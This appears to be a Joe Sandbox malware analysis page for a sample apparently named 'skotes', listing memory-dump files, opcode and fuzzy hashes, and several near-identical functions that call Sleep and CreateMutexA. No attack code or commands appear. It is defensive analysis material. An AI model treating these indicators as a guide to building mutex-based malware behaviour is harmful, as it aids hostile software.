Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2f
API String ID: 1464230837-3713388386
Opcode ID: e4b8dbce72d5a43f3a9e6c5673f1a215ad8c952a69a9f4f574b4801d5ebb3d69
Instruction ID: 1ebbd542f96647178ad6d8b9f80f7b311852c18638ff6da1be57b5b0373334b2
Opcode Fuzzy Hash: e4b8dbce72d5a43f3a9e6c5673f1a215ad8c952a69a9f4f574b4801d5ebb3d69
Instruction Fuzzy Hash: A4312931B802048BFB0C9BBCDD857AFB6A7AB86314F248659E414973D6C7B55A808762

Function 00609F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0060A963
CreateMutexA.KERNELBASE(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2f
API String ID: 1464230837-3713388386
Opcode ID: 9ed794f2f08a53614040982c22ff979b0f6ab30da0c6b9383c0f37598d3e876e
Instruction ID: 1646af7795b928f25f5c38759334564e9f5325aca7d428551c87f4194c9075eb
Opcode Fuzzy Hash: 9ed794f2f08a53614040982c22ff979b0f6ab30da0c6b9383c0f37598d3e876e
Instruction Fuzzy Hash: 18314831B802049BEB0C9BACD8847AEB763EF86314F248619E414EB3D6C7755AC08762

Function 0060A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0060A963
CreateMutexA.KERNELBASE(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2f
API String ID: 1464230837-3713388386
Opcode ID: 33b35186f8e0bb28bedac0c06f00dffa703eb4a047b3781a8d1c9c3b8a8d444d
Instruction ID: ec9833f20f7329dd2e47c68aec597a363ff720f6d4aec8c38b54fa26944d3b5c
Opcode Fuzzy Hash: 33b35186f8e0bb28bedac0c06f00dffa703eb4a047b3781a8d1c9c3b8a8d444d
Instruction Fuzzy Hash: 08313531B902049BEB0C9BBCCD84BAEB763DB82314F248658E415EB3D5C7769AC08752

Function 0060A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0060A963
CreateMutexA.KERNELBASE(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2f
API String ID: 1464230837-3713388386
Opcode ID: 5606e25dce115683645b994f536a492652db332742ae2bd3d2e1bfb31e0aef41
Instruction ID: 8b7f6e24bd170d1549969aafd5489cef33c9fd5eb8814436b526d7231ed1a7ff
Opcode Fuzzy Hash: 5606e25dce115683645b994f536a492652db332742ae2bd3d2e1bfb31e0aef41
Instruction Fuzzy Hash: 4D314831B802009BEB0CDBECDD897AEB763AF86310F244658E004EB3D5C7755AC08752

Function 0060A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0060A963
CreateMutexA.KERNELBASE(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2f
API String ID: 1464230837-3713388386
Opcode ID: d2b2312f88fc942a04f32b4194c222f486bdf4c09d85de14b2e248a5175b19ef
Instruction ID: 3dd76f76c08a062e4cc55fd0e3cfae00b63e381578e1c27f06935dbf0852d8b2
Opcode Fuzzy Hash: d2b2312f88fc942a04f32b4194c222f486bdf4c09d85de14b2e248a5175b19ef
Instruction Fuzzy Hash: 08313931B902009BEB0C9BFCD989BAEB7A3EF82314F248618E414DB3D5D7B559C08756

Function 0060A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0060A963
CreateMutexA.KERNELBASE(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
